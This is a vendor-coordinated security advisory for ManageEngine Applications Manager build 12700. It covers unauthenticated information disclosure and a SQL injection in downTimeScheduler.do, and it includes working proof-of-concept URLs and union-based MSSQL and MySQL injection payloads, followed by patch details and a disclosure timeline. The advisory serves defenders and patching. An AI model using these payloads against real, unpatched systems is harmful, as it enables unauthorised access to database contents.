ManageEngine Applications Manager Build 12700 – Multiple Vulnerabilities
[SPSA-2016-02/ManageEngine ApplicationsManager]------------------------------ SECURITY ADVISORY: SPSA-2016-02/ManageEngine Applications Manager Build No: 12700 Affected Software: ManageEngine Applications Manager Build No: 12700 Vulnerability: Information Disclosure and Un-Authenticated SQL injection. CVSSv3: 9.3 Severity: Critical Release Date: 2016-05-05 I. Background ~~~~~~~~~~~~~ ManageEngine Applications Manager is an Application Performance Monitoring across physical, virtual and cloud environments. II. Description ~~~~~~~~~~~~~~~ For details about the fix please visit https://www.manageengine.com/products/applications_manager/release-notes.html Information Disclosure: ~~~~~~~~~~~~~~~~~~~~~~~ Some scripts were accessible without authentication, which allowed public access to sensitive data such as licensing information and Monitored Server Details like name IP and maintenance schedule. POC ~~~ License Information: https://ManageEngineHost/jsp/About.jsp?context=/CAMGlobalReports.do?method=disableReports List of Maintenance tasks: https://ManageEngineHost/downTimeScheduler.do?method=maintenanceTaskListView&tabtoLoad=downtimeSchedulersDiv Details of Maintenance tasks with details about monitored server: https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=2&edit=true&readonly=false SQL Injection: ~~~~~~~~~~~~~~ The downTimeScheduler.do script is vulnerable to a Boolean based blind, and Union based SQL injection, that allows complete unauthorized access to the back-end database, according to the level of privileges of the application database user. Vulnerable URL: https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=1 Vulnerable Parameter: GET parameter taskid PoC: ~~~~ Boolean Based Blind SQL Injection PoC: https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=1 and 1=1 (True) https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=1 and 1=2 (False) The following will include the Database Name in the Schedule Details Description text box: Union-Based SQL Injection PoC: Number of Columns 15, ORDER BY was usable. MSSQL: During our testing, the payload needed to be URL Encoded. https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=-1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28112%29%2BCHAR%28113%29%2BCHAR%28113%29%2BISNULL%28CAST%28%28SELECT%20DB_NAME%28%29%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%2BCHAR%28113%29%2BCHAR%2898%29%2BCHAR%28107%29%2BCHAR%28112%29%2BCHAR%28113%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- MYSQL: During our testing, the payload did not need URL Encoding. https://ManageEngineHost/downTimeScheduler.do?method=viewMaintenanceTask&taskid=-1%20UNION%20ALL%20SELECT%201,2,database(),4,5,6,7,8,9,10,11,12,13,14,15%20-- III. Impact ~~~~~~~~~~~ Information Disclosure Impact: An attacker might make use of the intelligence gathered through information leakages such as these for further attacks against the application, and its underlying infrastructure Un-Authenticated SQL Injection Impact: Access to sensitive information, stored in the application Database server, depending on the privileges of the application's database user. IV. Remediation ~~~~~~~~~~~~~~~ Apply Vendor supplied patch build #12710, details are available at https://www.manageengine.com/products/applications_manager/release-notes.html V. Disclosure ~~~~~~~~~~~~~ Reported By: Saif El-Sherei, @saif_sherei, saif@sensepost.com Discovery Date: 2016-02-29 Vendor Informed: 2016-03-04 Advisory Release Date: 2016-05-05 Patch Release Date: 2016-04-28 Advisory Updated: 2016-05-05 ---------------------------------[SPSA-2016-02/ManageEngine ApplicationsManager]--- |